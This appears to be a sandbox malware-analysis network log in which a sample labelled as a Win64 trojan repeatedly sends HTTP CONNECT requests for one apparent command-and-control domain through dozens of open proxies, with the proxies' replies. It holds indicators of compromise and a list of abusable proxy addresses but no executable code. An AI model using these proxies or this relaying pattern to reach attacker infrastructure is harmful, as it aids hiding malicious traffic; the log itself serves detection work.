Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.8	50949	148.72.177.90	28106	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.666081905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.694920063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.781466961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.8	51111	199.229.254.129	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.667886019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.8	51449	82.66.210.159	8118	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.668581009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.838320971 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.8	51436	95.43.244.15	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.675795078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.8	51452	72.195.34.42	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.676083088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.8	51439	212.127.93.185	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.678872108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.8	50919	212.110.188.216	34405	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.683455944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.695152044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.695328951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.695071936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.8	51491	104.25.194.175	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.683528900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.777451992 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.8	51358	103.41.88.182	82	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.689598083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.491796017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.695049047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.8	51227	111.206.0.99	8181	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.691709995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.670959949 CET	163	IN	HTTP/1.1 200 Connection Established Accept-Ranges: bytes Content-Length: 0 Date: Fri, 23 Feb 2024 13:28:25 GMT Server: eJet/1.4.2 X-Nat-IP: 191.96.227.222

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.8	50928	37.187.77.58	18936	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.701325893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.8	51468	107.180.101.226	6539	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.701761961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.116585016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.554163933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.491847038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.382483959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.8	51409	221.134.152.75	7302	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.702054024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.8	51469	148.72.23.56	46451	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.702711105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.194755077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.683495998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.585791111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.398056984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.140068054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.898272991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.398257017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.398332119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.8	51393	39.105.27.30	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.704179049 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:25.199338913 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.8	51390	183.89.40.232	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.708698034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.8	51474	199.188.93.214	9000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.739022970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.8	51435	43.153.133.208	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.739995956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.8	51451	85.12.214.148	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.748488903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.8	51487	98.162.25.23	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.749828100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.8	51485	5.9.98.142	2692	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.763876915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.8	51506	3.9.71.167	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.800519943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.959434032 CET	167	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/6.0.0-20220501-re899e0c27 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.8	51532	104.16.105.198	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.800662994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.887921095 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.8	51510	98.162.25.4	31654	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.800808907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.8	51509	70.166.167.38	57728	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.801104069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.8	51497	51.250.2.171	40186	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.823959112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.212269068 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.8	51053	91.121.88.53	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.848896980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.876111984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.882623911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.507745981 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.8	51519	54.38.179.203	23814	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.849575043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.352794886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.898092031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882637024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.847692966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.781616926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.695029020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.556263924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.164736986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.8	50922	103.180.1.242	1111	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.855437994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.882421970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.581716061 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.8	51476	211.222.252.187	8193	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.860044003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.8	51513	31.223.22.21	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.884437084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.8	50953	103.78.0.44	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.889836073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.991591930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.8	51498	8.213.129.20	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.892595053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.173938036 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.8	51081	72.167.221.145	60404	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.900882959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.991648912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.991920948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
